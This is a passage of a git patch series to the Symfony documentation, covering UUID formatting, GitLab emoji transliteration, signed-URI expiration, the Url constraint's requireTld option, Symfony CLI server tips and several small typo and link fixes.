sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing - (`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__):: - use Symfony\Component\Uid\Uuid; +It rearranges the time-based fields of the UUIDv1 to make it lexicographically +sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing +(`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__):: + + use Symfony\Component\Uid\Uuid; - // $uuid is an instance of Symfony\Component\Uid\UuidV6 - $uuid = Uuid::v6(); + // $uuid is an instance of Symfony\Component\Uid\UuidV6 + $uuid = Uuid::v6(); - .. tip:: +.. tip:: - It's recommended to use UUIDv7 instead of UUIDv6 because it provides - better entropy. + It's recommended to use UUIDv7 instead of UUIDv6 because it provides + better entropy. **UUID v7** (UNIX timestamp) - Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp - source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded) - (`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__). - It's recommended to use this version over UUIDv1 and UUIDv6 because it provides - better entropy (and a more strict chronological order of UUID generation):: - use Symfony\Component\Uid\Uuid; +Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp +source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded) +(`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__). +It's recommended to use this version over UUIDv1 and UUIDv6 because it provides +better entropy (and a more strict chronological order of UUID generation):: - // $uuid is an instance of Symfony\Component\Uid\UuidV7 - $uuid = Uuid::v7(); + use Symfony\Component\Uid\Uuid; + + // $uuid is an instance of Symfony\Component\Uid\UuidV7 + $uuid = Uuid::v7(); **UUID v8** (custom) - Provides an RFC-compatible format for experimental or vendor-specific use cases - (`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__). - The only requirement is to set the variant and version bits of the UUID. The rest - of the UUID value is specific to each implementation and no format should be assumed:: - use Symfony\Component\Uid\Uuid; +Provides an RFC-compatible format for experimental or vendor-specific use cases +(`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__). +The only requirement is to set the variant and version bits of the UUID. The rest +of the UUID value is specific to each implementation and no format should be assumed:: + + use Symfony\Component\Uid\Uuid; - // $uuid is an instance of Symfony\Component\Uid\UuidV8 - $uuid = Uuid::v8(); + // $uuid is an instance of Symfony\Component\Uid\UuidV8 + $uuid = Uuid::v8(); .. versionadded:: 6.2 From 4b42411181c0815344a97cf7d6c9c5369892aa00 Mon Sep 17 00:00:00 2001 From: pierreboissinot <pierre.boissinot@lephare.com> Date: Thu, 4 Apr 2024 14:37:34 +0200 Subject: [PATCH 090/615] docs: encodedEnvelope is already an array See https://github.com/symfony/symfony-docs/commit/3c4fe2ae832b0aa0a67a87a93c4c5788ce9a0055#r132772105 --- messenger.rst | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/messenger.rst b/messenger.rst index ea8a66ae8cc..1f56e76ed7c 100644 --- a/messenger.rst +++ b/messenger.rst @@ -2603,12 +2603,10 @@ Let's say you want to create a message decoder:: { public function decode(array $encodedEnvelope): Envelope { - $envelope = \json_decode($encodedEnvelope, true); - try { // parse the data you received with your custom fields - $data = $envelope['data']; - $data['token'] = $envelope['token']; + $data = $encodedEnvelope['data']; + $data['token'] = $encodedEnvelope['token']; // other operations like getting information from stamps } catch (\Throwable $throwable) { From 815e8de93c0a6c1b90650d68d0a9e7dd1b5f9d72 Mon Sep 17 00:00:00 2001 From: Matthias Schmidt <matthias@mttsch.dev> Date: Thu, 4 Apr 2024 20:31:29 +0200 Subject: [PATCH 091/615] [Serializer] Fix punctuation in custom encoders docs --- serializer/custom_encoders.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst index 9f8a9d8448d..95f3131f418 100644 --- a/serializer/custom_encoders.rst +++ b/serializer/custom_encoders.rst @@ -56,7 +56,7 @@ create your own encoder that uses the Registering it in your app -------------------------- -If you use the Symfony Framework. then you probably want to register this encoder +If you use the Symfony Framework, then you probably want to register this encoder as a service in your app. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, that's done automatically! From 0163c71fb5e24a299153035b67e37a36fdcd8e89 Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Wed, 3 Apr 2024 22:33:49 +0200 Subject: [PATCH 092/615] [Emoji] Add the gitlab locale --- string.rst | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/string.rst b/string.rst index 62336e461cf..b4f6d2d1be7 100644 --- a/string.rst +++ b/string.rst @@ -560,7 +560,7 @@ textual representation in all languages based on the `Unicode CLDR dataset`_:: The ``EmojiTransliterator`` also provides special locales that convert emojis to -short codes and vice versa in specific platforms, such as GitHub and Slack. +short codes and vice versa in specific platforms, such as GitHub, Gitlab and Slack. GitHub Emoji Transliteration ............................ @@ -577,6 +577,21 @@ Convert GitHub short codes to emojis with the ``github-emoji`` locale:: $transliterator->transliterate('Teenage :turtle: really love :pizza:'); // => 'Teenage 🐢 really love 🍕' +Gitlab Emoji Transliteration +............................ + +Convert Gitlab emojis to short codes with the ``emoji-gitlab`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-gitlab'); + $transliterator->transliterate('Breakfast with 🥝 or 🥛'); + // => 'Breakfast with :kiwi: or :milk:' + +Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale:: + + $transliterator = EmojiTransliterator::create('gitlab-emoji'); + $transliterator->transliterate('Breakfast with :kiwi: or :milk:'); + // => 'Breakfast with 🥝 or 🥛' + Slack Emoji Transliteration ........................... @@ -693,7 +708,7 @@ with the slugger to transform any emojis into their textual representation:: // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national'; If you want to use a specific locale for the emoji, or to use the short codes -from GitHub or Slack, use the first argument of ``withEmoji()`` method:: +from GitHub, Gitlab or Slack, use the first argument of ``withEmoji()`` method:: use Symfony\Component\String\Slugger\AsciiSlugger; From 7dd0472745931d81b6683c239438c0f0ae69ea97 Mon Sep 17 00:00:00 2001 From: Christophe Coevoet <stof@notk.org> Date: Fri, 5 Apr 2024 14:26:38 +0200 Subject: [PATCH 093/615] Remove the warning marking the symfony server config file as experimental --- setup/symfony_server.rst | 5 ----- 1 file changed, 5 deletions(-) diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst index c5608a871fb..c609556a151 100644 --- a/setup/symfony_server.rst +++ b/setup/symfony_server.rst @@ -307,11 +307,6 @@ server provides a ``run`` command to wrap them as follows: Configuration file ------------------ -.. caution:: - - This feature is experimental and could change or be removed at any time - without prior notice. - There are several options that you can set using a ``.symfony.local.yaml`` config file: .. code-block:: yaml From 154efb591decdf218b0647eac3bc4706ea088ccc Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 5 Apr 2024 17:08:55 +0200 Subject: [PATCH 094/615] Update session.rst using Redis as class is in error, the class needs to be specified as \Redis as that is the correct namespace. --- session.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/session.rst b/session.rst index 3298e425965..549bf63d912 100644 --- a/session.rst +++ b/session.rst @@ -541,7 +541,7 @@ a Symfony service for the connection to the Redis server: Redis: # you can also use \RedisArray, \RedisCluster or \Predis\Client classes - class: Redis + class: \Redis calls: - connect: - '%env(REDIS_HOST)%' From 2c36398f1506f7400be766c65e35a022087c124f Mon Sep 17 00:00:00 2001 From: Amelie Le Coz <lecozamelie@hotmail.com> Date: Sat, 6 Apr 2024 13:55:59 +0200 Subject: [PATCH 095/615] Fix wrong URL for Twig Environment --- templates.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates.rst b/templates.rst index 1ff0ab1d44f..a46a211692c 100644 --- a/templates.rst +++ b/templates.rst @@ -1593,7 +1593,7 @@ for this class and :doc:`tag your service </service_container/tags>` with ``twig .. _`snake case`: https://en.wikipedia.org/wiki/Snake_case .. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html .. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html -.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Loader/FilesystemLoader.php +.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Environment.php .. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension .. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension .. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html From 549de499fc334287e95c6227a07be92102c0ba4c Mon Sep 17 00:00:00 2001 From: Baptiste CONTRERAS <38988658+BaptisteContreras@users.noreply.github.com> Date: Sat, 6 Apr 2024 20:45:27 +0200 Subject: [PATCH 096/615] [HttpFoundation] add documention for signed URI expiration --- routing.rst | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) diff --git a/routing.rst b/routing.rst index 53ebe003e0a..0852883b9ee 100644 --- a/routing.rst +++ b/routing.rst @@ -2694,6 +2694,71 @@ service, which you can inject in your services or controllers:: } } +You can make the signed URI expire. To do so, you can pass a value to the `$expiration` argument +of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`. This optional argument is `null` by default. You can +specify an expiration date by several ways:: + + // src/Service/SomeService.php + namespace App\Service; + + use Symfony\Component\HttpFoundation\UriSigner; + + class SomeService + { + public function __construct( + private UriSigner $uriSigner, + ) { + } + + public function someMethod(): void + { + // ... + + // generate a URL yourself or get it somehow... + $url = 'https://example.com/foo/bar?sort=desc'; + + // sign the URL with an explicit expiration date + $signedUrl = $this->uriSigner->sign($url, new \DateTime('2050-01-01')); + // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=2524608000&_hash=e4a21b9' + + // check the URL signature + $uriSignatureIsValid = $this->uriSigner->check($signedUrl); + // $uriSignatureIsValid = true + + // if given a \DateInterval, it will be added from now to get the expiration date + $signedUrl = $this->uriSigner->sign($url, new \DateInterval('PT10S')); // valid for 10 seconds from now + // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=1712414278&_hash=e4a21b9' + + // check the URL signature + $uriSignatureIsValid = $this->uriSigner->check($signedUrl); + // $uriSignatureIsValid = true + + sleep(30); // wait 30 seconds... + + // the URL signature has expired + $uriSignatureIsValid = $this->uriSigner->check($signedUrl); + // $uriSignatureIsValid = false + + // you can also use a timestamp in seconds + $signedUrl = $this->uriSigner->sign($url, 4070908800); // timestamp for the date 2099-01-01 + // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=4070908800&_hash=e4a21b9' + + } + } + +.. caution:: + + `null` means no expiration for the signed URI. + +.. note:: + + When making the URI expire, an `_expiration` query parameter is added to the URL and the expiration date is + converted into a timestamp + +.. versionadded:: 7.1 + + The possibility to add an expiration date for a signed URI was introduced in Symfony 7.1. + Troubleshooting --------------- From c4ed2edc8c58f537aeaa1718ffe034b0c70c3a51 Mon Sep 17 00:00:00 2001 From: Constantin Ross <constantin.ross@active-value.de> Date: Sat, 6 Apr 2024 23:52:59 +0200 Subject: [PATCH 097/615] Fix nullable entitymanager in functional repository tests --- testing/database.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/testing/database.rst b/testing/database.rst index 3f7ce3704f8..0f19ee89b41 100644 --- a/testing/database.rst +++ b/testing/database.rst @@ -99,7 +99,7 @@ so, get the entity manager via the service container as follows:: class ProductRepositoryTest extends KernelTestCase { - private EntityManager $entityManager; + private ?EntityManager $entityManager; protected function setUp(): void { From d978dc549f28feaac4f5112ff2bf3fba9172e8ce Mon Sep 17 00:00:00 2001 From: Yassine Guedidi <yassine@guedidi.com> Date: Sat, 6 Apr 2024 12:11:25 +0200 Subject: [PATCH 098/615] Document Symfony CLI `--no-workers` option --- setup/symfony_server.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst index c609556a151..d3a7c1959f4 100644 --- a/setup/symfony_server.rst +++ b/setup/symfony_server.rst @@ -327,6 +327,7 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi no_tls: true # Use HTTP instead of HTTPS daemon: true # Run the server in the background use_gzip: true # Toggle GZIP compression + no_workers: true # Do not start workers .. caution:: @@ -364,6 +365,11 @@ If you like some processes to start automatically, along with the webserver # auto start Docker compose when starting server (available since Symfony CLI 5.7.0) docker_compose: ~ +.. tip:: + + You may want to not start workers on some environments like CI. You can use the + ``--no-workers`` option to start the server without starting workers. + .. _symfony-server-docker: Docker Integration From fa1934c08d505df970dafd840cb7604c9f4b9e46 Mon Sep 17 00:00:00 2001 From: Yonel Ceruto <yonel.ceruto@scnd.com> Date: Sun, 7 Apr 2024 12:02:21 -0400 Subject: [PATCH 099/615] Documenting items type in the MapRequestPayload attribute --- controller.rst | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/controller.rst b/controller.rst index c44f0dafdac..2edf6affb2f 100644 --- a/controller.rst +++ b/controller.rst @@ -555,6 +555,32 @@ if you want to map a nested array of specific DTOs:: ) {} } +Nevertheless, if you want to send the array of payloads directly like this: + +.. code-block:: json + + [ + { + "firstName": "John", + "lastName": "Smith", + "age": 28 + }, + { + "firstName": "Jane", + "lastName": "Doe", + "age": 30 + } + ] + +Map the parameter as an array and configure the type of each element in the attribute:: + + public function dashboard( + #[MapRequestPayload(type: UserDTO::class)] array $users + ): Response + { + // ... + } + Managing the Session -------------------- From 7341079f8999a05ce94616a5017675a51d3f901b Mon Sep 17 00:00:00 2001 From: Alexis Lefebvre <alexislefebvre+github@gmail.com> Date: Mon, 8 Apr 2024 15:12:58 +0200 Subject: [PATCH 100/615] feat: add warning for number constraints with PHP 7.x --- reference/constraints/GreaterThan.rst | 2 ++ reference/constraints/GreaterThanOrEqual.rst | 2 ++ reference/constraints/LessThan.rst | 2 ++ reference/constraints/LessThanOrEqual.rst | 2 ++ reference/constraints/Negative.rst | 2 ++ reference/constraints/NegativeOrZero.rst | 2 ++ reference/constraints/Positive.rst | 2 ++ reference/constraints/PositiveOrZero.rst | 2 ++ reference/constraints/_php7-string-and-number.rst.inc | 6 ++++++ 9 files changed, 22 insertions(+) create mode 100644 reference/constraints/_php7-string-and-number.rst.inc diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst index 22331edd957..02659140122 100644 --- a/reference/constraints/GreaterThan.rst +++ b/reference/constraints/GreaterThan.rst @@ -12,6 +12,8 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan` Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator` ========== =================================================================== +.. include:: /reference/constraints/_php7-string-and-number.rst.inc + Basic Usage ----------- diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst index 79578c5a5f7..38621c1cb1c 100644 --- a/reference/constraints/GreaterThanOrEqual.rst +++ b/reference/constraints/GreaterThanOrEqual.rst @@ -11,6 +11,8 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqu Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator` ========== =================================================================== +.. include:: /reference/constraints/_php7-string-and-number.rst.inc + Basic Usage ----------- diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst index 22ebce5c094..d35050826f3 100644 --- a/reference/constraints/LessThan.rst +++ b/reference/constraints/LessThan.rst @@ -12,6 +12,8 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\LessThan` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator` ========== =================================================================== +.. include:: /reference/constraints/_php7-string-and-number.rst.inc + Basic Usage ----------- diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst index 05e2dedbfe5..dd32de0fe0f 100644 --- a/reference/constraints/LessThanOrEqual.rst +++ b/reference/constraints/LessThanOrEqual.rst @@ -11,6 +11,8 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator` ========== =================================================================== +.. include:: /reference/constraints/_php7-string-and-number.rst.inc + Basic Usage ----------- diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst index fa00910e790..078a4cf9b90 100644 --- a/reference/constraints/Negative.rst +++ b/reference/constraints/Negative.rst @@ -11,6 +11,8 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\Negative` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator` ========== =================================================================== +.. include:: /reference/constraints/_php7-string-and-number.rst.inc + Basic Usage ----------- diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst index e356a21d20f..593bd824c05 100644 --- a/reference/constraints/NegativeOrZero.rst +++ b/reference/constraints/NegativeOrZero.rst @@ -10,6 +10,8 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator` ========== =================================================================== +.. include:: /reference/constraints/_php7-string-and-number.rst.inc + Basic Usage ----------- diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst index 326e66e7c9b..ca0d030cb64 100644 --- a/reference/constraints/Positive.rst +++ b/reference/constraints/Positive.rst @@ -11,6 +11,8 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\Positive` Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator` ========== =================================================================== +.. include:: /reference/constraints/_php7-string-and-number.rst.inc + Basic Usage ----------- diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst index 2d39d0d6d19..808eafd071a 100644 --- a/reference/constraints/PositiveOrZero.rst +++ b/reference/constraints/PositiveOrZero.rst @@ -10,6 +10,8 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero` Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator` ========== =================================================================== +.. include:: /reference/constraints/_php7-string-and-number.rst.inc + Basic Usage ----------- diff --git a/reference/constraints/_php7-string-and-number.rst.inc b/reference/constraints/_php7-string-and-number.rst.inc new file mode 100644 index 00000000000..6da43da6378 --- /dev/null +++ b/reference/constraints/_php7-string-and-number.rst.inc @@ -0,0 +1,6 @@ +.. caution:: + + When using PHP 7.x, if the value is a string (e.g. ``1234asd``), the validator + will not trigger an error. In this case, you must also use the + :doc:`Type constraint </reference/constraints/Type>` with + ``numeric``, ``integer`, etc. to reject strings. From fcef90726dc302e04e15766ba7852e4124e80a86 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 9 Apr 2024 10:48:10 +0200 Subject: [PATCH 101/615] [Validator] Remove a no longer needed caution --- reference/constraints/GreaterThan.rst | 2 -- reference/constraints/GreaterThanOrEqual.rst | 2 -- reference/constraints/LessThan.rst | 2 -- reference/constraints/LessThanOrEqual.rst | 2 -- reference/constraints/Negative.rst | 2 -- reference/constraints/NegativeOrZero.rst | 2 -- reference/constraints/Positive.rst | 2 -- reference/constraints/PositiveOrZero.rst | 2 -- reference/constraints/_php7-string-and-number.rst.inc | 6 ------ 9 files changed, 22 deletions(-) delete mode 100644 reference/constraints/_php7-string-and-number.rst.inc diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst index 26477e6b12f..4f2e34bcbfa 100644 --- a/reference/constraints/GreaterThan.rst +++ b/reference/constraints/GreaterThan.rst @@ -12,8 +12,6 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan` Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator` ========== =================================================================== -.. include:: /reference/constraints/_php7-string-and-number.rst.inc - Basic Usage ----------- diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst index cdda3d98aa5..e5a71e5f788 100644 --- a/reference/constraints/GreaterThanOrEqual.rst +++ b/reference/constraints/GreaterThanOrEqual.rst @@ -11,8 +11,6 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqu Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator` ========== =================================================================== -.. include:: /reference/constraints/_php7-string-and-number.rst.inc - Basic Usage ----------- diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst index d9c2e9b7398..964bfbb3527 100644 --- a/reference/constraints/LessThan.rst +++ b/reference/constraints/LessThan.rst @@ -12,8 +12,6 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\LessThan` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator` ========== =================================================================== -.. include:: /reference/constraints/_php7-string-and-number.rst.inc - Basic Usage ----------- diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst index 1f2fb8903dc..9420c3e4376 100644 --- a/reference/constraints/LessThanOrEqual.rst +++ b/reference/constraints/LessThanOrEqual.rst @@ -11,8 +11,6 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator` ========== =================================================================== -.. include:: /reference/constraints/_php7-string-and-number.rst.inc - Basic Usage ----------- diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst index 9087e776714..0d043ee8f6e 100644 --- a/reference/constraints/Negative.rst +++ b/reference/constraints/Negative.rst @@ -11,8 +11,6 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\Negative` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator` ========== =================================================================== -.. include:: /reference/constraints/_php7-string-and-number.rst.inc - Basic Usage ----------- diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst index 868a38f9ee3..5f221950528 100644 --- a/reference/constraints/NegativeOrZero.rst +++ b/reference/constraints/NegativeOrZero.rst @@ -10,8 +10,6 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator` ========== =================================================================== -.. include:: /reference/constraints/_php7-string-and-number.rst.inc - Basic Usage ----------- diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst index e3f32c71acf..b43fdde67d8 100644 --- a/reference/constraints/Positive.rst +++ b/reference/constraints/Positive.rst @@ -11,8 +11,6 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\Positive` Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator` ========== =================================================================== -.. include:: /reference/constraints/_php7-string-and-number.rst.inc - Basic Usage ----------- diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst index e06fef0bd42..4aa8420993c 100644 --- a/reference/constraints/PositiveOrZero.rst +++ b/reference/constraints/PositiveOrZero.rst @@ -10,8 +10,6 @@ Class :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero` Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator` ========== =================================================================== -.. include:: /reference/constraints/_php7-string-and-number.rst.inc - Basic Usage ----------- diff --git a/reference/constraints/_php7-string-and-number.rst.inc b/reference/constraints/_php7-string-and-number.rst.inc deleted file mode 100644 index 6da43da6378..00000000000 --- a/reference/constraints/_php7-string-and-number.rst.inc +++ /dev/null @@ -1,6 +0,0 @@ -.. caution:: - - When using PHP 7.x, if the value is a string (e.g. ``1234asd``), the validator - will not trigger an error. In this case, you must also use the - :doc:`Type constraint </reference/constraints/Type>` with - ``numeric``, ``integer`, etc. to reject strings. From b1789e79b09552c7d88573266051ab73a56d6c94 Mon Sep 17 00:00:00 2001 From: llupa <41073314+llupa@users.noreply.github.com> Date: Fri, 5 Apr 2024 12:12:39 +0200 Subject: [PATCH 102/615] Add more hints when using Symfony CLI in Windows --- setup/symfony_server.rst | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst index c5608a871fb..a3b5d9e8ace 100644 --- a/setup/symfony_server.rst +++ b/setup/symfony_server.rst @@ -106,6 +106,14 @@ trust store, registers it in Firefox (this is required only for that browser) and creates a default certificate for ``localhost`` and ``127.0.0.1``. In other words, it does everything for you. +.. tip:: + + If you are doing this in WSL (Windows Subsystem for Linux), the newly created + local certificate authority needs to be manually imported in Windows. The file + is located in ``wsl`` at ``~/.symfony5/certs/default.p12``. The easiest way to + do so is to run ``explorer.exe \`wslpath -w $HOME/.symfony5/certs\``` from ``wsl`` + and double-click the ``default.p12`` file. + Before browsing your local application with HTTPS instead of HTTP, restart its server stopping and starting it again. @@ -223,6 +231,9 @@ If the proxy doesn't work as explained in the following sections, check these: * Some Operating Systems (e.g. macOS) don't apply by default the proxy settings to local hosts and domains. You may need to remove ``*.local`` and/or other IP addresses from that list. +* Windows Operating System **requires** ``localhost`` instead of ``127.0.0.1`` + when configuring the automatic proxy, otherwise you won't be able to access + your local domain from your browser running in Windows. Defining the Local Domain ~~~~~~~~~~~~~~~~~~~~~~~~~ From bb68008b4bb3877e058b485958acb9f22a77c48f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 5 Apr 2024 09:58:09 +0200 Subject: [PATCH 103/615] [Validator] Add a requireTld option to Url constraint --- reference/constraints/Url.rst | 111 ++++++++++++++++++++++++++++++++++ 1 file changed, 111 insertions(+) diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst index 2c3420df7c6..b3a46d5aec4 100644 --- a/reference/constraints/Url.rst +++ b/reference/constraints/Url.rst @@ -307,3 +307,114 @@ also relative URLs that contain no protocol (e.g. ``//example.com``). ])); } } + +``requireTld`` +~~~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``false`` + +.. versionadded:: 7.1 + + The ``requiredTld`` option was introduced in Symfony 7.1. + +By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid +because they are tecnically correct according to the `URL spec`_. If you set this option +to ``true``, the host part of the URL will have to include a TLD (top-level domain +name): e.g. ``https://example.com`` will be valid but ``https://example`` won't. + +.. note:: + + This constraint does not validate that the given TLD value is included in + the `list of official top-level domains`_ (because that list is growing + continuously and it's hard to keep track of it). + +``tldMessage`` +~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``This URL does not contain a TLD.`` + +.. versionadded:: 7.1 + + The ``tldMessage`` option was introduced in Symfony 7.1. + +This message is shown if the ``requireTld`` option is set to ``true`` and the URL +does not contain at least one TLD. + +You can use the following parameters in this message: + +=============== ============================================================== +Parameter Description +=============== ============================================================== +``{{ value }}`` The current (invalid) value +``{{ label }}`` Corresponding form field label +=============== ============================================================== + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/Website.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class Website + { + #[Assert\Url( + requireTld: true, + tldMessage: 'Add at least one TLD to the {{ value }} URL.', + )] + protected string $homepageUrl; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\Website: + properties: + homepageUrl: + - Url: + requireTld: true + tldMessage: Add at least one TLD to the {{ value }} URL. + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\Website"> + <property name="homepageUrl"> + <constraint name="Url"> + <option name="requireTld">true</option> + <option name="tldMessage">Add at least one TLD to the {{ value }} URL.</option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/Website.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class Website + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('homepageUrl', new Assert\Url([ + 'requireTld' => true, + 'tldMessage' => 'Add at least one TLD to the {{ value }} URL.', + ])); + } + } + +.. _`URL spec`: https://datatracker.ietf.org/doc/html/rfc1738 +.. _`list of official top-level domains`: https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains From 85268b49b3bf7aa9e711a35d40047b814bc36931 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 9 Apr 2024 17:10:00 +0200 Subject: [PATCH 104/615] Minor tweaks --- workflow.rst | 23 ++++++++++------------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/workflow.rst b/workflow.rst index cd2d9ebd3c5..04e8eb18ef5 100644 --- a/workflow.rst +++ b/workflow.rst @@ -251,10 +251,9 @@ what actions are allowed on a blog post:: Using a multiple state marking store ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>` -, your marking store may need to contain multiple places at the same time. -If you are using Doctrine, the matching column definition should use the -type ``json`` :: +If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>`, +your marking store may need to contain multiple places at the same time. That's why, +if you are using Doctrine, the matching column definition should use the type 